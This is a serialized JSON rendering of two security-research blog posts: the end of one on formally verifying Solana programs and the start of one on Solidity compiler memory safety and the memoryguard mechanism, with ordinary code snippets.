value":32352},{"type":22,"tag":101,"props":32598,"children":32599},{"style":2215},[32600],{"type":27,"value":32357},{"type":22,"tag":101,"props":32602,"children":32603},{"class":103,"line":367},[32604],{"type":22,"tag":101,"props":32605,"children":32606},{"emptyLinePlaceholder":15},[32607],{"type":27,"value":1581},{"type":22,"tag":101,"props":32609,"children":32610},{"class":103,"line":398},[32611,32615,32619,32623,32627,32631],{"type":22,"tag":101,"props":32612,"children":32613},{"style":108},[32614],{"type":27,"value":950},{"type":22,"tag":101,"props":32616,"children":32617},{"style":126},[32618],{"type":27,"value":32376},{"type":22,"tag":101,"props":32620,"children":32621},{"style":166},[32622],{"type":27,"value":960},{"type":22,"tag":101,"props":32624,"children":32625},{"style":166},[32626],{"type":27,"value":29297},{"type":22,"tag":101,"props":32628,"children":32629},{"style":120},[32630],{"type":27,"value":21224},{"type":22,"tag":101,"props":32632,"children":32633},{"style":2215},[32634],{"type":27,"value":32393},{"type":22,"tag":101,"props":32636,"children":32637},{"class":103,"line":428},[32638,32642,32646,32650,32654],{"type":22,"tag":101,"props":32639,"children":32640},{"style":3595},[32641],{"type":27,"value":16283},{"type":22,"tag":101,"props":32643,"children":32644},{"style":126},[32645],{"type":27,"value":32376},{"type":22,"tag":101,"props":32647,"children":32648},{"style":166},[32649],{"type":27,"value":1541},{"type":22,"tag":101,"props":32651,"children":32652},{"style":1544},[32653],{"type":27,"value":32413},{"type":22,"tag":101,"props":32655,"children":32656},{"style":120},[32657],{"type":27,"value":154},{"type":22,"tag":101,"props":32659,"children":32660},{"class":103,"line":997},[32661,32665,32669,32673,32677,32681,32685],{"type":22,"tag":101,"props":32662,"children":32663},{"style":126},[32664],{"type":27,"value":30184},{"type":22,"tag":101,"props":32666,"children":32667},{"style":166},[32668],{"type":27,"value":231},{"type":22,"tag":101,"props":32670,"children":32671},{"style":120},[32672],{"type":27,"value":32433},{"type":22,"tag":101,"props":32674,"children":32675},{"style":166},[32676],{"type":27,"value":231},{"type":22,"tag":101,"props":32678,"children":32679},{"style":926},[32680],{"type":27,"value":32442},{"type":22,"tag":101,"props":32682,"children":32683},{"style":120},[32684],{"type":27,"value":32447},{"type":22,"tag":101,"props":32686,"children":32687},{"style":2215},[32688],{"type":27,"value":32452},{"type":22,"tag":101,"props":32690,"children":32691},{"class":103,"line":1032},[32692],{"type":22,"tag":101,"props":32693,"children":32694},{"style":120},[32695],{"type":27,"value":1734},{"type":22,"tag":101,"props":32697,"children":32698},{"class":103,"line":1063},[32699],{"type":22,"tag":101,"props":32700,"children":32701},{"emptyLinePlaceholder":15},[32702],{"type":27,"value":1581},{"type":22,"tag":101,"props":32704,"children":32705},{"class":103,"line":1071},[32706],{"type":22,"tag":101,"props":32707,"children":32708},{"style":2215},[32709],{"type":27,"value":32710}," // Enforce invariants at runtime\n",{"type":22,"tag":101,"props":32712,"children":32713},{"class":103,"line":1110},[32714,32718,32722,32726,32730,32734,32738,32742],{"type":22,"tag":101,"props":32715,"children":32716},{"style":926},[32717],{"type":27,"value":23230},{"type":22,"tag":101,"props":32719,"children":32720},{"style":120},[32721],{"type":27,"value":980},{"type":22,"tag":101,"props":32723,"children":32724},{"style":126},[32725],{"type":27,"value":24271},{"type":22,"tag":101,"props":32727,"children":32728},{"style":166},[32729],{"type":27,"value":231},{"type":22,"tag":101,"props":32731,"children":32732},{"style":120},[32733],{"type":27,"value":32433},{"type":22,"tag":101,"props":32735,"children":32736},{"style":166},[32737],{"type":27,"value":231},{"type":22,"tag":101,"props":32739,"children":32740},{"style":926},[32741],{"type":27,"value":25765},{"type":22,"tag":101,"props":32743,"children":32744},{"style":120},[32745],{"type":27,"value":1980},{"type":22,"tag":101,"props":32747,"children":32748},{"class":103,"line":1118},[32749],{"type":22,"tag":101,"props":32750,"children":32751},{"emptyLinePlaceholder":15},[32752],{"type":27,"value":1581},{"type":22,"tag":101,"props":32754,"children":32755},{"class":103,"line":1158},[32756,32760],{"type":22,"tag":101,"props":32757,"children":32758},{"style":114},[32759],{"type":27,"value":18335},{"type":22,"tag":101,"props":32761,"children":32762},{"style":120},[32763],{"type":27,"value":18340},{"type":22,"tag":101,"props":32765,"children":32766},{"class":103,"line":1166},[32767],{"type":22,"tag":101,"props":32768,"children":32769},{"style":120},[32770],{"type":27,"value":188},{"type":22,"tag":23,"props":32772,"children":32773},{},[32774,32776,32781,32783,32788,32790,32795],{"type":27,"value":32775},"Here, we explicitly ",{"type":22,"tag":30,"props":32777,"children":32779},{"className":32778},[],[32780],{"type":27,"value":23975},{"type":27,"value":32782}," that our invariants hold at ",{"type":22,"tag":6961,"props":32784,"children":32785},{},[32786],{"type":27,"value":32787},"runtime",{"type":27,"value":32789}," which allows us to be assured that ",{"type":22,"tag":30,"props":32791,"children":32793},{"className":32792},[],[32794],{"type":27,"value":32433},{"type":27,"value":32796}," will not enter a bad state as a result of some unverifiable behavior.",{"type":22,"tag":23,"props":32798,"children":32799},{},[32800],{"type":27,"value":32801},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":22,"tag":53,"props":32803,"children":32805},{"id":32804},"challenges-of-formal-verification-on-solana",[32806],{"type":27,"value":32807},"Challenges of formal verification on Solana",{"type":22,"tag":1760,"props":32809,"children":32811},{"id":32810},"expensive-computation",[32812],{"type":27,"value":32813},"Expensive computation",{"type":22,"tag":23,"props":32815,"children":32816},{},[32817,32819,32824],{"type":27,"value":32818},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":22,"tag":6961,"props":32820,"children":32821},{},[32822],{"type":27,"value":32823},"path explosion",{"type":27,"value":32825},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":22,"tag":23,"props":32827,"children":32828},{},[32829,32831,32836],{"type":27,"value":32830},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":22,"tag":6961,"props":32832,"children":32833},{},[32834],{"type":27,"value":32835},"formal verification friendly",{"type":27,"value":32837},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":22,"tag":23,"props":32839,"children":32840},{},[32841,32843,32848,32850,32855],{"type":27,"value":32842},"For example, when verifying things like the uniqueness of a ",{"type":22,"tag":30,"props":32844,"children":32846},{"className":32845},[],[32847],{"type":27,"value":25385},{"type":27,"value":32849}," in a ",{"type":22,"tag":30,"props":32851,"children":32853},{"className":32852},[],[32854],{"type":27,"value":21208},{"type":27,"value":32856},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":22,"tag":23,"props":32858,"children":32859},{},[32860,32862,32867,32869,32874,32876,32881,32883,32888,32890,32895,32897,32902],{"type":27,"value":32861},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":22,"tag":30,"props":32863,"children":32865},{"className":32864},[],[32866],{"type":27,"value":21208},{"type":27,"value":32868}," or a 32-byte ",{"type":22,"tag":30,"props":32870,"children":32872},{"className":32871},[],[32873],{"type":27,"value":25385},{"type":27,"value":32875},". Instead, our tool can substitute in ",{"type":22,"tag":6961,"props":32877,"children":32878},{},[32879],{"type":27,"value":32880},"cheaper",{"type":27,"value":32882}," types and functions, such as a 4-byte ",{"type":22,"tag":30,"props":32884,"children":32886},{"className":32885},[],[32887],{"type":27,"value":25385},{"type":27,"value":32889}," struct and a fixed-size, array-backed ",{"type":22,"tag":30,"props":32891,"children":32893},{"className":32892},[],[32894],{"type":27,"value":21208},{"type":27,"value":32896}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":22,"tag":6961,"props":32898,"children":32899},{},[32900],{"type":27,"value":32901},"much",{"type":27,"value":32903}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":22,"tag":23,"props":32905,"children":32906},{},[32907],{"type":27,"value":32908},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":22,"tag":1760,"props":32910,"children":32912},{"id":32911},"runtime-environment",[32913],{"type":27,"value":32914},"Runtime Environment",{"type":22,"tag":23,"props":32916,"children":32917},{},[32918],{"type":27,"value":32919},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":22,"tag":23,"props":32921,"children":32922},{},[32923],{"type":27,"value":32924},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":22,"tag":23,"props":32926,"children":32927},{},[32928],{"type":27,"value":32929},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":22,"tag":53,"props":32931,"children":32932},{"id":6776},[32933],{"type":27,"value":6779},{"type":22,"tag":23,"props":32935,"children":32936},{},[32937],{"type":27,"value":32938},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":22,"tag":23,"props":32940,"children":32941},{},[32942],{"type":27,"value":32943},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":22,"tag":1398,"props":32945,"children":32946},{},[],{"type":22,"tag":23,"props":32948,"children":32949},{},[32950],{"type":22,"tag":6961,"props":32951,"children":32952},{},[32953,32955,32960,32961,32965],{"type":27,"value":32954},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":22,"tag":80,"props":32956,"children":32958},{"href":22866,"rel":32957},[84],[32959],{"type":27,"value":22870},{"type":27,"value":22872},{"type":22,"tag":80,"props":32962,"children":32963},{"href":22875},[32964],{"type":27,"value":22878},{"type":27,"value":231},{"type":22,"tag":6891,"props":32967,"children":32968},{},[32969],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":32971},[32972,32978,32982,32987,32993,32997],{"id":22940,"depth":157,"text":22943,"children":32973},[32974,32975,32976,32977],{"id":22946,"depth":182,"text":22949},{"id":23014,"depth":182,"text":23017},{"id":23895,"depth":182,"text":23898},{"id":23935,"depth":182,"text":23938},{"id":23988,"depth":157,"text":32979,"children":32980},"Specification: How can we describe what we want our program to do?",[32981],{"id":24102,"depth":182,"text":24105},{"id":25457,"depth":157,"text":25460,"children":32983},[32984,32985,32986],{"id":26134,"depth":182,"text":26137},{"id":26419,"depth":182,"text":26422},{"id":26563,"depth":182,"text":26566},{"id":26704,"depth":157,"text":26707,"children":32988},[32989,32990,32991,32992],{"id":26775,"depth":182,"text":26778},{"id":28637,"depth":182,"text":28640},{"id":29438,"depth":182,"text":26767},{"id":31964,"depth":182,"text":26772},{"id":32804,"depth":157,"text":32807,"children":32994},[32995,32996],{"id":32810,"depth":182,"text":32813},{"id":32911,"depth":182,"text":32914},{"id":6776,"depth":157,"text":6779},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":33002,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33003,"description":33004,"author":9763,"image":33005,"date":33007,"isFeatured":15,"onBlogPage":15,"tags":33008,"body":33010,"_type":6912,"_id":34425,"_source":6914,"_file":34426,"_stem":34427,"_extension":6917},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":33006,"height":17626,"width":17626},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[8519,33009],"compiler",{"type":19,"children":33011,"toc":34416},[33012,33018,33054,33066,33072,33094,33107,33255,33276,33281,33302,33307,33315,33320,33325,33330,33336,33355,33360,33381,33443,33456,33486,33506,33533,33538,33551,33556,33561,33574,33605,33626,33780,33798,33849,33868,33893,33898,33904,33931,33951,33979,33984,34006,34025,34033,34044,34049,34065,34322,34330,34335,34339,34344,34349,34412],{"type":22,"tag":53,"props":33013,"children":33015},{"id":33014},"introduction",[33016],{"type":27,"value":33017},"Introduction",{"type":22,"tag":23,"props":33019,"children":33020},{},[33021,33023,33029,33030,33034,33036,33043,33045,33052],{"type":27,"value":33022},"What does ",{"type":22,"tag":30,"props":33024,"children":33026},{"className":33025},[],[33027],{"type":27,"value":33028},"memory-safe",{"type":27,"value":2169},{"type":22,"tag":6961,"props":33031,"children":33032},{},[33033],{"type":27,"value":13297},{"type":27,"value":33035}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":22,"tag":80,"props":33037,"children":33040},{"href":33038,"rel":33039},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[84],[33041],{"type":27,"value":33042},"presents some requirements",{"type":27,"value":33044},", but is production code that ",{"type":22,"tag":80,"props":33046,"children":33049},{"href":33047,"rel":33048},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[84],[33050],{"type":27,"value":33051},"violates these requirements",{"type":27,"value":33053}," necessarily unsafe?",{"type":22,"tag":23,"props":33055,"children":33056},{},[33057,33059,33064],{"type":27,"value":33058},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":22,"tag":6961,"props":33060,"children":33061},{},[33062],{"type":27,"value":33063},"memory-safety",{"type":27,"value":33065}," actually means.",{"type":22,"tag":53,"props":33067,"children":33069},{"id":33068},"compiler-pipeline",[33070],{"type":27,"value":33071},"Compiler Pipeline",{"type":22,"tag":23,"props":33073,"children":33074},{},[33075,33077,33084,33086,33093],{"type":27,"value":33076},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":22,"tag":80,"props":33078,"children":33081},{"href":33079,"rel":33080},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[84],[33082],{"type":27,"value":33083},"released in v0.8.13",{"type":27,"value":33085},". Compilation happens ",{"type":22,"tag":80,"props":33087,"children":33090},{"href":33088,"rel":33089},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[84],[33091],{"type":27,"value":33092},"in two main steps",{"type":27,"value":169},{"type":22,"tag":6828,"props":33095,"children":33096},{},[33097,33102],{"type":22,"tag":6832,"props":33098,"children":33099},{},[33100],{"type":27,"value":33101},"Solidity to YUL IR",{"type":22,"tag":6832,"props":33103,"children":33104},{},[33105],{"type":27,"value":33106},"YUL IR to EVM opcodes",{"type":22,"tag":91,"props":33108,"children":33112},{"className":33109,"code":33110,"language":33111,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[33113],{"type":22,"tag":30,"props":33114,"children":33115},{"__ignoreMap":7},[33116,33146,33167,33179,33187,33199,33219,33227,33248],{"type":22,"tag":101,"props":33117,"children":33118},{"class":103,"line":104},[33119,33123,33128,33132,33137,33141],{"type":22,"tag":101,"props":33120,"children":33121},{"style":3595},[33122],{"type":27,"value":16283},{"type":22,"tag":101,"props":33124,"children":33125},{"style":120},[33126],{"type":27,"value":33127}," (m_viaIR ",{"type":22,"tag":101,"props":33129,"children":33130},{"style":166},[33131],{"type":27,"value":26406},{"type":22,"tag":101,"props":33133,"children":33134},{"style":120},[33135],{"type":27,"value":33136}," m_generateIR ",{"type":22,"tag":101,"props":33138,"children":33139},{"style":166},[33140],{"type":27,"value":26406},{"type":22,"tag":101,"props":33142,"children":33143},{"style":120},[33144],{"type":27,"value":33145}," m_generateEwasm)\n",{"type":22,"tag":101,"props":33147,"children":33148},{"class":103,"line":157},[33149,33154,33158,33162],{"type":22,"tag":101,"props":33150,"children":33151},{"style":926},[33152],{"type":27,"value":33153}," generateIR",{"type":22,"tag":101,"props":33155,"children":33156},{"style":120},[33157],{"type":27,"value":980},{"type":22,"tag":101,"props":33159,"children":33160},{"style":166},[33161],{"type":27,"value":8615},{"type":22,"tag":101,"props":33163,"children":33164},{"style":120},[33165],{"type":27,"value":33166},"contract);\n",{"type":22,"tag":101,"props":33168,"children":33169},{"class":103,"line":182},[33170,33174],{"type":22,"tag":101,"props":33171,"children":33172},{"style":3595},[33173],{"type":27,"value":16283},{"type":22,"tag":101,"props":33175,"children":33176},{"style":120},[33177],{"type":27,"value":33178}," (m_generateEvmBytecode)\n",{"type":22,"tag":101,"props":33180,"children":33181},{"class":103,"line":367},[33182],{"type":22,"tag":101,"props":33183,"children":33184},{"style":120},[33185],{"type":27,"value":33186}," {\n",{"type":22,"tag":101,"props":33188,"children":33189},{"class":103,"line":398},[33190,33194],{"type":22,"tag":101,"props":33191,"children":33192},{"style":3595},[33193],{"type":27,"value":7312},{"type":22,"tag":101,"props":33195,"children":33196},{"style":120},[33197],{"type":27,"value":33198}," (m_viaIR)\n",{"type":22,"tag":101,"props":33200,"children":33201},{"class":103,"line":428},[33202,33207,33211,33215],{"type":22,"tag":101,"props":33203,"children":33204},{"style":926},[33205],{"type":27,"value":33206}," generateEVMFromIR",{"type":22,"tag":101,"props":33208,"children":33209},{"style":120},[33210],{"type":27,"value":980},{"type":22,"tag":101,"props":33212,"children":33213},{"style":166},[33214],{"type":27,"value":8615},{"type":22,"tag":101,"props":33216,"children":33217},{"style":120},[33218],{"type":27,"value":33166},{"type":22,"tag":101,"props":33220,"children":33221},{"class":103,"line":997},[33222],{"type":22,"tag":101,"props":33223,"children":33224},{"style":3595},[33225],{"type":27,"value":33226}," else\n",{"type":22,"tag":101,"props":33228,"children":33229},{"class":103,"line":1032},[33230,33235,33239,33243],{"type":22,"tag":101,"props":33231,"children":33232},{"style":926},[33233],{"type":27,"value":33234}," compileContract",{"type":22,"tag":101,"props":33236,"children":33237},{"style":120},[33238],{"type":27,"value":980},{"type":22,"tag":101,"props":33240,"children":33241},{"style":166},[33242],{"type":27,"value":8615},{"type":22,"tag":101,"props":33244,"children":33245},{"style":120},[33246],{"type":27,"value":33247},"contract, otherCompilers);\n",{"type":22,"tag":101,"props":33249,"children":33250},{"class":103,"line":1063},[33251],{"type":22,"tag":101,"props":33252,"children":33253},{"style":120},[33254],{"type":27,"value":1734},{"type":22,"tag":23,"props":33256,"children":33257},{},[33258,33260,33267,33268,33275],{"type":27,"value":33259},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":22,"tag":80,"props":33261,"children":33264},{"href":33262,"rel":33263},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[84],[33265],{"type":27,"value":33266},"YulStack::optimize",{"type":27,"value":209},{"type":22,"tag":80,"props":33269,"children":33272},{"href":33270,"rel":33271},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[84],[33273],{"type":27,"value":33274},"Assembly::optimize",{"type":27,"value":231},{"type":22,"tag":23,"props":33277,"children":33278},{},[33279],{"type":27,"value":33280},"In total, there are four steps.",{"type":22,"tag":6828,"props":33282,"children":33283},{},[33284,33288,33293,33297],{"type":22,"tag":6832,"props":33285,"children":33286},{},[33287],{"type":27,"value":33101},{"type":22,"tag":6832,"props":33289,"children":33290},{},[33291],{"type":27,"value":33292},"Optimization of YUL IR",{"type":22,"tag":6832,"props":33294,"children":33295},{},[33296],{"type":27,"value":33106},{"type":22,"tag":6832,"props":33298,"children":33299},{},[33300],{"type":27,"value":33301},"Optimization of EVM opcodes",{"type":22,"tag":23,"props":33303,"children":33304},{},[33305],{"type":27,"value":33306},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":22,"tag":604,"props":33308,"children":33309},{},[33310],{"type":22,"tag":23,"props":33311,"children":33312},{},[33313],{"type":27,"value":33314},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":22,"tag":23,"props":33316,"children":33317},{},[33318],{"type":27,"value":33319},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":22,"tag":23,"props":33321,"children":33322},{},[33323],{"type":27,"value":33324},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":22,"tag":23,"props":33326,"children":33327},{},[33328],{"type":27,"value":33329},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":22,"tag":53,"props":33331,"children":33333},{"id":33332},"guarantees",[33334],{"type":27,"value":33335},"Guarantees",{"type":22,"tag":23,"props":33337,"children":33338},{},[33339,33340,33347,33349,33354],{"type":27,"value":2007},{"type":22,"tag":80,"props":33341,"children":33344},{"href":33342,"rel":33343},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[84],[33345],{"type":27,"value":33346},"Solidity memory layout",{"type":27,"value":33348}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":22,"tag":6961,"props":33350,"children":33351},{},[33352],{"type":27,"value":33353},"no information about this layout",{"type":27,"value":231},{"type":22,"tag":23,"props":33356,"children":33357},{},[33358],{"type":27,"value":33359},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":22,"tag":23,"props":33361,"children":33362},{},[33363,33365,33371,33373,33379],{"type":27,"value":33364},"Introducing ",{"type":22,"tag":30,"props":33366,"children":33368},{"className":33367},[],[33369],{"type":27,"value":33370},"memoryguard",{"type":27,"value":33372},". If you've ever looked at the output of ",{"type":22,"tag":30,"props":33374,"children":33376},{"className":33375},[],[33377],{"type":27,"value":33378},"solc --ir",{"type":27,"value":33380},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":22,"tag":91,"props":33382,"children":33384},{"className":8520,"code":33383,"language":8519,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[33385],{"type":22,"tag":30,"props":33386,"children":33387},{"__ignoreMap":7},[33388,33406],{"type":22,"tag":101,"props":33389,"children":33390},{"class":103,"line":104},[33391,33396,33401],{"type":22,"tag":101,"props":33392,"children":33393},{"style":2215},[33394],{"type":27,"value":33395}," /// @src 0:26:371 \"contract ",{"type":22,"tag":101,"props":33397,"children":33398},{"style":108},[33399],{"type":27,"value":33400},"XXX",{"type":22,"tag":101,"props":33402,"children":33403},{"style":2215},[33404],{"type":27,"value":33405}," {...\"\n",{"type":22,"tag":101,"props":33407,"children":33408},{"class":103,"line":157},[33409,33413,33417,33422,33426,33430,33434,33439],{"type":22,"tag":101,"props":33410,"children":33411},{"style":926},[33412],{"type":27,"value":2905},{"type":22,"tag":101,"props":33414,"children":33415},{"style":120},[33416],{"type":27,"value":980},{"type":22,"tag":101,"props":33418,"children":33419},{"style":1544},[33420],{"type":27,"value":33421},"64",{"type":22,"tag":101,"props":33423,"children":33424},{"style":120},[33425],{"type":27,"value":758},{"type":22,"tag":101,"props":33427,"children":33428},{"style":926},[33429],{"type":27,"value":33370},{"type":22,"tag":101,"props":33431,"children":33432},{"style":120},[33433],{"type":27,"value":980},{"type":22,"tag":101,"props":33435,"children":33436},{"style":1544},[33437],{"type":27,"value":33438},"0x80",{"type":22,"tag":101,"props":33440,"children":33441},{"style":120},[33442],{"type":27,"value":23703},{"type":22,"tag":23,"props":33444,"children":33445},{},[33446,33448,33455],{"type":27,"value":33447},"From ",{"type":22,"tag":80,"props":33449,"children":33452},{"href":33450,"rel":33451},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[84],[33453],{"type":27,"value":33454},"the documentation",{"type":27,"value":8168},{"type":22,"tag":604,"props":33457,"children":33458},{},[33459],{"type":22,"tag":23,"props":33460,"children":33461},{},[33462,33464,33470,33472,33478,33480,33485],{"type":27,"value":33463},"The caller of ",{"type":22,"tag":30,"props":33465,"children":33467},{"className":33466},[],[33468],{"type":27,"value":33469},"let ptr := memoryguard(size)",{"type":27,"value":33471}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":22,"tag":30,"props":33473,"children":33475},{"className":33474},[],[33476],{"type":27,"value":33477},"[0, size)",{"type":27,"value":33479}," or the unbounded range starting at ",{"type":22,"tag":30,"props":33481,"children":33483},{"className":33482},[],[33484],{"type":27,"value":17951},{"type":27,"value":231},{"type":22,"tag":23,"props":33487,"children":33488},{},[33489,33491,33496,33498,33504],{"type":27,"value":33490},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":22,"tag":30,"props":33492,"children":33494},{"className":33493},[],[33495],{"type":27,"value":33370},{"type":27,"value":33497}," return ",{"type":22,"tag":30,"props":33499,"children":33501},{"className":33500},[],[33502],{"type":27,"value":33503},"size + 32",{"type":27,"value":33505},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":22,"tag":23,"props":33507,"children":33508},{},[33509,33511,33518,33520,33525,33527,33532],{"type":27,"value":33510},"An example of this optimization in practice ",{"type":22,"tag":80,"props":33512,"children":33515},{"href":33513,"rel":33514},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[84],[33516],{"type":27,"value":33517},"is the StackLimitEvader",{"type":27,"value":33519},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":22,"tag":6961,"props":33521,"children":33522},{},[33523],{"type":27,"value":33524},"only",{"type":27,"value":33526}," optimization pass that relies on the semantic information communicated by ",{"type":22,"tag":30,"props":33528,"children":33530},{"className":33529},[],[33531],{"type":27,"value":33370},{"type":27,"value":231},{"type":22,"tag":23,"props":33534,"children":33535},{},[33536],{"type":27,"value":33537},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":22,"tag":23,"props":33539,"children":33540},{},[33541,33543,33549],{"type":27,"value":33542},"Fear not, for we can remove this pointer entirely and call ",{"type":22,"tag":30,"props":33544,"children":33546},{"className":33545},[],[33547],{"type":27,"value":33548},"memoryguard(0x60)",{"type":27,"value":33550}," instead. The rest of the pipeline will still work.",{"type":22,"tag":53,"props":33552,"children":33553},{"id":33063},[33554],{"type":27,"value":33555},"Memory Safety",{"type":22,"tag":23,"props":33557,"children":33558},{},[33559],{"type":27,"value":33560},"So what does memory safety mean?",{"type":22,"tag":23,"props":33562,"children":33563},{},[33564,33566,33572],{"type":27,"value":33565},"The Solidity documentation provides ",{"type":22,"tag":80,"props":33567,"children":33569},{"href":33038,"rel":33568},[84],[33570],{"type":27,"value":33571},"a set of constraints",{"type":27,"value":33573},", not a definition.",{"type":22,"tag":604,"props":33575,"children":33576},{},[33577,33582],{"type":22,"tag":23,"props":33578,"children":33579},{},[33580],{"type":27,"value":33581},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":22,"tag":6828,"props":33583,"children":33584},{},[33585,33590,33595,33600],{"type":22,"tag":6832,"props":33586,"children":33587},{},[33588],{"type":27,"value":33589},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":22,"tag":6832,"props":33591,"children":33592},{},[33593],{"type":27,"value":33594},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":22,"tag":6832,"props":33596,"children":33597},{},[33598],{"type":27,"value":33599},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":22,"tag":6832,"props":33601,"children":33602},{},[33603],{"type":27,"value":33604},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":22,"tag":23,"props":33606,"children":33607},{},[33608,33610,33617,33625],{"type":27,"value":33609},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":22,"tag":80,"props":33611,"children":33614},{"href":33612,"rel":33613},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[84],[33615],{"type":27,"value":33616},"removes the memory guard",{"type":22,"tag":6802,"props":33618,"children":33619},{},[33620],{"type":22,"tag":80,"props":33621,"children":33623},{"href":6807,"ariaDescribedBy":33622,"dataFootnoteRef":7,"id":6810},[6809],[33624],{"type":27,"value":6813},{"type":27,"value":231},{"type":22,"tag":91,"props":33627,"children":33629},{"className":33109,"code":33628,"language":33111,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n 